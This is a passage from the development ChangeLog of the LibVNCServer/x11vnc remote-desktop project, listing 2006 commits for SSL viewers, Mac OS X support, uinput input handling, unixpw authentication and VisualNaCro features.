   4758 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: cleanup some
   4759 	comments.
   4760 
   4761 2006-12-10  runge <runge>
   4762 
   4763 	* x11vnc/misc/enhanced_tightvnc_viewer/README,
   4764 	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd: sync etv 1.0.8
   4765 
   4766 2006-12-10  runge <runge>
   4767 
   4768 	* classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
   4769 	x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c,
   4770 	x11vnc/cleanup.h, x11vnc/connections.c, x11vnc/gui.c,
   4771 	x11vnc/help.c, x11vnc/misc/Makefile.am, x11vnc/pointer.c,
   4772 	x11vnc/screen.c, x11vnc/screen.h, x11vnc/solid.c,
   4773 	x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c, x11vnc/v4l.c,
   4774 	x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   4775 	x11vnc/x11vnc_defs.c: x11vnc: FINDCREATEDISPLAY support to create X
   4776 	session if one cannot be found.  Fix bug in java viewer.
   4777 
   4778 2006-11-24  runge <runge>
   4779 
   4780 	* prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README,
   4781 	x11vnc/help.c, x11vnc/remote.c, x11vnc/user.c, x11vnc/x11vnc.1,
   4782 	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: install ss_vncviewer 755,
   4783 	-prog option, HTTPONCE new socket for -inetd.
   4784 
   4785 2006-11-23  runge <runge>
   4786 
   4787 	* classes/ssl/Makefile.am, classes/ssl/README: rename to
   4788 	ss_vncviewer
   4789 
   4790 2006-11-23  runge <runge>
   4791 
   4792 	* classes/ssl/ss_vncviewer, classes/ssl/ssl_vncviewer: rename
   4793 	ssl_vncviewer to ss_vncviewer
   4794 
   4795 2006-11-23  runge <runge>
   4796 
   4797 	* classes/ssl/ss_vncviewer: rename ssl_vncviewer to ss_vncviewer
   4798 
   4799 2006-11-22  runge <runge>
   4800 
   4801 	* configure.ac: use AC_CHECK_LIB for fbpm and dpms
   4802 
   4803 2006-11-21  runge <runge>
   4804 
   4805 	* configure.ac: enable --without-fbpm and --without-dpms
   4806 
   4807 2006-11-21  runge <runge>
   4808 
   4809 	* ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README,
   4810 	x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/cursor.c,
   4811 	x11vnc/help.c, x11vnc/keyboard.c, x11vnc/macosx.c, x11vnc/macosx.h,
   4812 	x11vnc/macosxCG.c, x11vnc/macosxCGS.c, x11vnc/macosxCGS.h,
   4813 	x11vnc/options.c, x11vnc/options.h, x11vnc/pm.c, x11vnc/pointer.c,
   4814 	x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/unixpw.c,
   4815 	x11vnc/userinput.c, x11vnc/win_utils.c, x11vnc/win_utils.h,
   4816 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
   4817 	x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xevents.c,
   4818 	x11vnc/xwrappers.c: x11vnc: Mac OS X fb fixes and cuttext, -nodpms
   4819 	option, local user wireframing
   4820 
   4821 2006-11-21  runge <runge>
   4822 
   4823 	* x11vnc/misc/enhanced_tightvnc_viewer/README,
   4824 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt,
   4825 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl,
   4826 	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
   4827 	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
   4828 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
   4829 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
   4830 	x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
   4831 	x11vnc/misc/enhanced_tightvnc_viewer/filelist.txt,
   4832 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
   4833 	x11vnc/misc/enhanced_tightvnc_viewer/src/zips/README: update to
   4834 	1.0.8 and renaming
   4835 
   4836 2006-11-21  runge <runge>
   4837 
   4838 	* x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_tightvncviewer,
   4839 	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_vnc_gui,
   4840 	x11vnc/misc/enhanced_tightvnc_viewer/bin/tightvncviewer,
   4841 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc
   4842 	l, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_vncviewer: 
   4843 	delete
   4844 
   4845 2006-11-21  runge <runge>
   4846 
   4847 	* x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
   4848 	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
   4849 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
   4850 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl: rename
   4851 
   4852 2006-11-13  runge <runge>
   4853 
   4854 	* ChangeLog, configure.ac, prepare_x11vnc_dist.sh, x11vnc/8to24.c,
   4855 	x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README,
   4856 	x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/cursor.c,
   4857 	x11vnc/cursor.h, x11vnc/gui.c, x11vnc/help.c, x11vnc/keyboard.c,
   4858 	x11vnc/linuxfb.c, x11vnc/macosx.c, x11vnc/macosx.h,
   4859 	x11vnc/macosxCG.c, x11vnc/macosxCG.h, x11vnc/macosxCGP.c,
   4860 	x11vnc/macosxCGP.h, x11vnc/macosxCGS.c, x11vnc/macosxCGS.h,
   4861 	x11vnc/options.c, x11vnc/options.h, x11vnc/params.h,
   4862 	x11vnc/pointer.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c,
   4863 	x11vnc/selection.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
   4864 	x11vnc/userinput.c, x11vnc/win_utils.c, x11vnc/x11vnc.1,
   4865 	x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c,
   4866 	x11vnc/xdamage.c, x11vnc/xdamage.h, x11vnc/xevents.c,
   4867 	x11vnc/xinerama.c, x11vnc/xrandr.c, x11vnc/xrecord.c,
   4868 	x11vnc/xwrappers.c, x11vnc/xwrappers.h: x11vnc: Native Mac OS X
   4869 	support.
   4870 
   4871 2006-11-08  runge <runge>
   4872 
   4873 	* x11vnc/misc/enhanced_tightvnc_viewer/README,
   4874 	x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/.cp
   4875 	over,
   4876 	x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/vnc
   4877 	viewer.sh,
   4878 	x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.i386/.cpover,
   4879 	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_tightvncviewer,
   4880 	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_vnc_gui,
   4881 	x11vnc/misc/enhanced_tightvnc_viewer/bin/tightvncviewer,
   4882 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc
   4883 	l, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_vncviewer,
   4884 	x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
   4885 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: Add Darwin
   4886 	stuff.  Sync to current 1.0.7
   4887 
   4888 2006-11-08  runge <runge>
   4889 
   4890 	* ChangeLog, classes/ssl/ssl_vncviewer, configure.ac,
   4891 	prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README,
   4892 	x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: configure.ac -R and macosx,
   4893 	prepare_x11vnc_dist.sh rpm fix
   4894 
   4895 2006-10-30  runge <runge>
   4896 
   4897 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1,
   4898 	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: Add tip about how to
   4899 	reenable RECORD extension.
   4900 
   4901 2006-10-12  dscho <dscho>
   4902 
   4903 	* VisualNaCro/nacro.c, VisualNaCro/nacro.h: VisualNaCro: add
   4904 	sendascii
   4905 
   4906 2006-10-12  runge <runge>
   4907 
   4908 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/cursor.c, x11vnc/help.c,
   4909 	x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c,
   4910 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
   4911 	x11vnc/x11vnc_defs.c: x11vnc: -cursor_drag for DnD, etc.
   4912 
   4913 2006-10-11  runge <runge>
   4914 
   4915 	* libvncserver/tightvnc-filetransfer/rfbtightserver.c: N_ENC_CAPS
   4916 	check does not work if libz is not present.
   4917 
   4918 2006-10-10  dscho <dscho>
   4919 
   4920 	* VisualNaCro/ChangeLog, VisualNaCro/recorder.pl: VisualNaCro: add
   4921 	'i', 'c' and 'r' menu keys
   4922 
   4923 2006-10-10  dscho <dscho>
   4924 
   4925 	* VisualNaCro/ChangeLog, VisualNaCro/recorder.pl: VisualNaCro: add
   4926 	--compact and --compact-dragging
   4927 
   4928 2006-10-07  runge <runge>
   4929 
   4930 	* classes/ssl/ssl_vncviewer, x11vnc/README,
   4931 	x11vnc/misc/enhanced_tightvnc_viewer/README,
   4932 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl,
   4933 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/loca
   4934 	tion.url,
   4935 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc
   4936 	l, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_vncviewer,
   4937 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
   4938 	x11vnc/misc/enhanced_tightvnc_viewer/src/zips/README,
   4939 	x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Changes for ETV, double
   4940 	SSL/SSH.
   4941 
   4942 2006-09-24  runge <runge>
   4943 
   4944 	* classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
   4945 	x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
   4946 	x11vnc/help.c, x11vnc/keyboard.c, x11vnc/pointer.c,
   4947 	x11vnc/sslhelper.c, x11vnc/unixpw.c, x11vnc/x11vnc.1,
   4948 	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: improve SSL Java
   4949 	viewer, cleanup -unixpw code.
   4950 
   4951 2006-09-21  runge <runge>
   4952 
   4953 	*
   4954 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc
   4955 	l, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_vncviewer: sync
   4956 	etv. profile cleanup
   4957 
   4958 2006-09-21  runge <runge>
   4959 
   4960 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
   4961 	x11vnc/connections.h, x11vnc/help.c, x11vnc/options.c,
   4962 	x11vnc/options.h, x11vnc/sslhelper.c, x11vnc/unixpw.c,
   4963 	x11vnc/unixpw.h, x11vnc/user.c, x11vnc/user.h, x11vnc/x11vnc.1,
   4964 	x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc:
   4965 	-unixpw_cmd, -passwfile cmd:/custom:, -sslnofail, -ultrafilexfer
   4966 
   4967 2006-09-18  runge <runge>
   4968 
   4969 	* x11vnc/misc/enhanced_tightvnc_viewer/README,
   4970 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc
   4971 	l: ETV release 1.0.4
   4972 
   4973 2006-09-18  runge <runge>
   4974 
   4975 	*
   4976 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc
   4977 	l, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: sync
   4978 	ETV 1.0.4
   4979 
   4980 2006-09-18  runge <runge>
   4981 
   4982 	* libvncserver/rfbserver.c, x11vnc/README, x11vnc/x11vnc.c: x11vnc:
   4983 	improve ultravnc filexfer rate by calling rfbCheckFD more often
   4984 
   4985 2006-09-17  runge <runge>
   4986 
   4987 	*
   4988 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc
   4989 	l: Sync ETV.
   4990 
   4991 2006-09-17  runge <runge>
   4992 
   4993 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
   4994 	x11vnc/cursor.c, x11vnc/help.c, x11vnc/keyboard.c,
   4995 	x11vnc/options.c, x11vnc/options.h, x11vnc/pm.c, x11vnc/scan.c,
   4996 	x11vnc/screen.c, x11vnc/sslcmds.c, x11vnc/sslhelper.c,
   4997 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c,
   4998 	x11vnc/xinerama.c, x11vnc/xwrappers.c: x11vnc: -verbose,
   4999 	-connect_or_exit, -rfbport 0, print out SSL cert.
   5000 
   5001 2006-09-15  runge <runge>
   5002 
   5003 	* x11vnc/README, x11vnc/help.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c: 
   5004 	small tweaks, -sig alias.
   5005 
   5006 2006-09-15  runge <runge>
   5007 
   5008 	* libvncserver/rfbserver.c, x11vnc/ChangeLog, x11vnc/README,
   5009 	x11vnc/cleanup.c, x11vnc/help.c, x11vnc/screen.c, x11vnc/unixpw.c,
   5010 	x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: clear DISPLAY for
   5011 	-unixpw su_verify, user supplied sig ignore.
   5012 
   5013 2006-09-14  runge <runge>
   5014 
   5015 	* classes/ssl/ssl_vncviewer, x11vnc/ChangeLog, x11vnc/README,
   5016 	x11vnc/help.c, x11vnc/misc/enhanced_tightvnc_viewer/COPYING,
   5017 	x11vnc/misc/enhanced_tightvnc_viewer/README,
   5018 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt,
   5019 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/esound/downl
   5020 	oad.url,
   5021 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/openssl/down
   5022 	load.url,
   5023 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/openssl/loca
   5024 	tion.url,
   5025 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/plink/downlo
   5026 	ad.url,
   5027 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/plink/licenc
   5028 	e.url,
   5029 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/down
   5030 	load.url,
   5031 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/loca
   5032 	tion.url,
   5033 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/vncviewer/do
   5034 	wnload.url,
   5035 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/vncviewer/lo
   5036 	cation.url,
   5037 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/stunnel-client.co
   5038 	nf,
   5039 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/stunnel-server.co
   5040 	nf,
   5041 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/w98/location.url,
   5042 	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_tightvncviewer,
   5043 	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_vnc_gui,
   5044 	x11vnc/misc/enhanced_tightvnc_viewer/bin/tightvncviewer,
   5045 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc
   5046 	l, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_vncviewer,
   5047 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/stunnel-server.conf,
   5048 	x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
   5049 	x11vnc/misc/enhanced_tightvnc_viewer/filelist.txt,
   5050 	x11vnc/misc/enhanced_tightvnc_viewer/src/README,
   5051 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/README,
   5052 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
   5053 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches,
   5054 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_vncpatchapplied,
   5055 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/stunnel-maxconn.pa
   5056 	tch,
   5057 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
   5058 	llscreen.patch,
   5059 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-ne
   5060 	wfbsize.patch,
   5061 	x11vnc/misc/enhanced_tightvnc_viewer/src/zips/README,
   5062 	x11vnc/remote.c, x11vnc/util.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   5063 	x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc:
   5064 	enhanced_tightvnc_viewer files, ssh -t keystroke response
   5065 	improvement.
   5066 
   5067 2006-09-12  dscho <dscho>
   5068 
   5069 	* VisualNaCro/Makefile.am, libvncserver-config.in: fix in-place
   5070 	compilation of VisualNaCro
   5071 
   5072 2006-09-12  dscho <dscho>
   5073 
   5074 	* VisualNaCro/recorder.pl: fix call to alert()
   5075 
   5076 2006-09-12  dscho <dscho>
   5077 
   5078 	* VisualNaCro/NEWS, VisualNaCro/nacro.c, VisualNaCro/nacro.h,
   5079 	VisualNaCro/recorder.pl: VisualNaCro: add magic key 'd' to display
   5080 	the current reference image
   5081 
   5082 2006-09-12  dscho <dscho>
   5083 
   5084 	* VisualNaCro/nacro.h: forgot to check in nacro.h
   5085 
   5086 2006-09-12  dscho <dscho>
   5087 
   5088 	* VisualNaCro/nacro.c, VisualNaCro/recorder.pl: implement rubberband
   5089 	for rectangular selection
   5090 
   5091 2006-09-12  dscho <dscho>
   5092 
   5093 	* VisualNaCro/Makefile.am, VisualNaCro/configure.ac: fix compilation
   5094 	with cygwin
   5095 
   5096 2006-09-12  dscho <dscho>
   5097 
   5098 	* rfb/rfbproto.h, vncterm/LinuxVNC.c, vncterm/VNConsole.c: do not
   5099 	always include rfb/keysym.h
   5100 
   5101 2006-09-12  dscho <dscho>
   5102 
   5103 	* AUTHORS, VisualNaCro/NEWS, VisualNaCro/nacro.c,
   5104 	VisualNaCro/nacro.h, VisualNaCro/recorder.pl: VisualNaCro: support
   5105 	clipboard and symbolic key names with X11::Keysyms
   5106 
   5107 2006-09-12  dscho <dscho>
   5108 
   5109 	* VisualNaCro/nacro.c, VisualNaCro/nacro.h: support clipboard
   5110 
   5111 2006-09-11  dscho <dscho>
   5112 
   5113 	* libvncclient/rfbproto.c, rfb/rfbclient.h: make cut text handling
   5114 	using a hook
   5115 
   5116 2006-09-10  runge <runge>
   5117 
   5118 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/cursor.c, x11vnc/help.c,
   5119 	x11vnc/ssltools.h, x11vnc/uinput.c, x11vnc/x11vnc.1,
   5120 	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: REQ_ARGS,
   5121 	EV_SYN/SYN_REPORT check. restore -cursor most under -display WAIT
   5122 
   5123 2006-09-05  runge <runge>
   5124 
   5125 	* classes/ssl/proxy.vnc, classes/ssl/ssl_vncviewer: Update
   5126 	ssl_vncviewer.  Fix bug in proxy.vnc with multiple PORT= params.
   5127 
   5128 2006-08-10  runge <runge>
   5129 
   5130 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/linuxfb.c,
   5131 	x11vnc/uinput.c, x11vnc/uinput.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   5132 	x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: first pass at
   5133 	touchscreens via uinput.
   5134 
   5135 2006-08-02  runge <runge>
   5136 
   5137 	* x11vnc/ChangeLog: add to changelog
   5138 
   5139 2006-08-02  runge <runge>
   5140 
   5141 	* classes/ssl/ssl_vncviewer, x11vnc/README, x11vnc/help.c,
   5142 	x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c,
   5143 	x11vnc/sslhelper.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
   5144 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc:
   5145 	tweaks to ssl_xfer; -ssltimeout option.
   5146 
   5147 2006-07-31  runge <runge>
   5148 
   5149 	* classes/ssl/ssl_vncviewer, x11vnc/README, x11vnc/pointer.c,
   5150 	x11vnc/scan.c, x11vnc/scan.h, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: 
   5151 	x11vnc: more features to ssl_vncviewer for enhanced tightvnc viewer
   5152 	project
   5153 
   5154 2006-07-29  runge <runge>
   5155 
   5156 	* classes/ssl/ssl_vncviewer: one more tweak, start from disp 30
   5157 
   5158 2006-07-29  runge <runge>
   5159 
   5160 	* classes/ssl/ssl_vncviewer: add debug = 6 to stunnel config.
   5161 
   5162 2006-07-28  runge <runge>
   5163 
   5164 	* classes/ssl/ssl_vncviewer, x11vnc/ChangeLog, x11vnc/README,
   5165 	x11vnc/cursor.c, x11vnc/help.c, x11vnc/params.h, x11vnc/pointer.c,
   5166 	x11vnc/rates.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c,
   5167 	x11vnc/screen.h, x11vnc/solid.c, x11vnc/sslcmds.c,
   5168 	x11vnc/sslhelper.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
   5169 	x11vnc/unixpw.c, x11vnc/user.c, x11vnc/userinput.c,
   5170 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
   5171 	x11vnc/x11vnc_defs.c: x11vnc: -rotate option
   5172 
   5173 2006-07-18  runge <runge>
   5174 
   5175 	* ChangeLog, configure.ac, x11vnc/8to24.c, x11vnc/ChangeLog,
   5176 	x11vnc/Makefile.am, x11vnc/README, x11vnc/cleanup.c,
   5177 	x11vnc/connections.c, x11vnc/cursor.c, x11vnc/gui.c,
   5178 	x11vnc/keyboard.c, x11vnc/linuxfb.c, x11vnc/nox11.h,
   5179 	x11vnc/nox11_funcs.h, x11vnc/pointer.c, x11vnc/remote.c,
   5180 	x11vnc/screen.c, x11vnc/selection.c, x11vnc/solid.c,
   5181 	x11vnc/sslhelper.c, x11vnc/uinput.c, x11vnc/userinput.c,
   5182 	x11vnc/util.c, x11vnc/v4l.c, x11vnc/win_utils.c, x11vnc/x11vnc.1,
   5183 	x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c,
   5184 	x11vnc/xevents.c, x11vnc/xwrappers.c: x11vnc: enable --without-x
   5185 	builds for -rawfb only binaries.
   5186 
   5187 2006-07-15  runge <runge>
   5188 
   5189 	* configure.ac, prepare_x11vnc_dist.sh, x11vnc/README,
   5190 	x11vnc/help.c, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.h,
   5191 	x11vnc/x11vnc_defs.c: update versions for next rel.  add some more
   5192 	shortcuts to user:opts
   5193 
   5194 2006-07-12  runge <runge>
   5195 
   5196 	* ChangeLog, configure.ac: LibVNCServer 0.8.2 release.
   5197 
   5198 2006-07-12  runge <runge>
   5199 
   5200 	* x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.h,
   5201 	x11vnc/x11vnc_defs.c: set REL8x
   5202 
   5203 2006-07-12  runge <runge>
   5204 
   5205 	* x11vnc/README, x11vnc/help.c, x11vnc/keyboard.c,
   5206 	x11vnc/linuxfb.c, x11vnc/params.h, x11vnc/pointer.c,
   5207 	x11vnc/screen.c, x11vnc/user.c, x11vnc/x11vnc.1: x11vnc: wording
   5208 	changes; remove "-rawfb cons" in favor of "console"
   5209 
   5210 2006-07-11  runge <runge>
   5211 
   5212 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c,
   5213 	x11vnc/keyboard.c, x11vnc/remote.c, x11vnc/tkx11vnc,
   5214 	x11vnc/tkx11vnc.h, x11vnc/uinput.c, x11vnc/uinput.h,
   5215 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: more
   5216 	UINPUT mode tweaks.
   5217 
   5218 2006-07-10  runge <runge>
   5219 
   5220 	* x11vnc/README, x11vnc/help.c, x11vnc/remote.c, x11vnc/sslcmds.c,
   5221 	x11vnc/sslhelper.c, x11vnc/uinput.c, x11vnc/unixpw.c,
   5222 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
   5223 	x11vnc/x11vnc_defs.c: x11vnc: improve uinput heuristics so button
   5224 	clicks work on qt-embedded.
   5225 
   5226 2006-07-09  runge <runge>
   5227 
   5228 	* ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/Makefile.am,
   5229 	x11vnc/README, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/linuxfb.c,
   5230 	x11vnc/options.c, x11vnc/options.h, x11vnc/params.h,
   5231 	x11vnc/pointer.c, x11vnc/remote.c, x11vnc/screen.c,
   5232 	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/uinput.c,
   5233 	x11vnc/uinput.h, x11vnc/util.c, x11vnc/v4l.c, x11vnc/x11vnc.1,
   5234 	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: add uinput support
   5235 	for full input into linux fb device (e.g. qt-embed).
   5236 
   5237 2006-07-05  runge <runge>
   5238 
   5239 	* x11vnc/README, x11vnc/keyboard.c: x11vnc: whoops str decl in wrong
   5240 	place for old compilers.
   5241 
   5242 2006-07-04  runge <runge>
   5243 
   5244 	* x11vnc/README, x11vnc/keyboard.c, x11vnc/pointer.c,
   5245 	x11vnc/xwrappers.c: x11vnc: check all XKeysymToString() return
   5246 	values.
   5247 
   5248 2006-07-04  runge <runge>
   5249 
   5250 	* x11vnc/README, x11vnc/keyboard.c, x11vnc/unixpw.c,
   5251 	x11vnc/unixpw.h: x11vnc: plug a couple unixpw gaps.
   5252 
   5253 2006-07-04  runge <runge>
   5254 
   5255 	* configure.ac, x11vnc/README, x11vnc/inet.c, x11vnc/keyboard.c,
   5256 	x11vnc/sslhelper.c, x11vnc/unixpw.c, x11vnc/user.c, x11vnc/util.c,
   5257 	x11vnc/v4l.c, x11vnc/x11vnc.c, x11vnc/x11vnc.h: x11vnc: remove
   5258 	compiler warnings; HP-UX tweaks.
   5259 
   5260 2006-07-04  runge <runge>
   5261 
   5262 	* ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README,
   5263 	x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c,
   5264 	x11vnc/cursor.h, x11vnc/help.c, x11vnc/help.h, x11vnc/inet.c,
   5265 	x11vnc/pointer.c, x11vnc/remote.c, x11vnc/scan.c,
   5266 	x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/unixpw.c,
   5267 	x11vnc/unixpw.h, x11vnc/user.c, x11vnc/userinput.c, x11vnc/util.c,
   5268 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c,
   5269 	x11vnc/xevents.c: x11vnc: more -unixpw work.  add -license, etc.
   5270 	options
   5271 
   5272 2006-06-24  runge <runge>
   5273 
   5274 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c,
   5275 	x11vnc/connections.c, x11vnc/connections.h, x11vnc/gui.c,
   5276 	x11vnc/scan.c, x11vnc/solid.c, x11vnc/sslcmds.c, x11vnc/unixpw.c,
   5277 	x11vnc/user.c, x11vnc/util.c, x11vnc/v4l.c, x11vnc/win_utils.c,
   5278 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c,
   5279 	x11vnc/xwrappers.c: x11vnc: misc cleanup.
   5280 
   5281 2006-06-18  runge <runge>
   5282 
   5283 	* x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README,
   5284 	x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/connections.h,
   5285 	x11vnc/cursor.c, x11vnc/gui.c, x11vnc/help.c, x11vnc/keyboard.c,
   5286 	x11vnc/options.c, x11vnc/options.h, x11vnc/pm.c, x11vnc/pointer.c,
   5287 	x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/solid.c,
   5288 	x11vnc/sslcmds.c, x11vnc/sslhelper.c, x11vnc/sslhelper.h,
   5289 	x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
   5290 	x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c,
   5291 	x11vnc/userinput.c, x11vnc/util.c, x11vnc/v4l.c,
   5292 	x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   5293 	x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c,
   5294 	x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xrandr.h,
   5295 	x11vnc/xwrappers.c: x11vnc: --grabkbd, -grabptr, -env, -allowedcmds,
   5296 	unixpw+WAIT user fred:options
   5297 
   5298 2006-06-15  dscho <dscho>
   5299 
   5300 	* VisualNaCro/README: fix typo
   5301 
   5302 2006-06-15  dscho <dscho>
   5303 
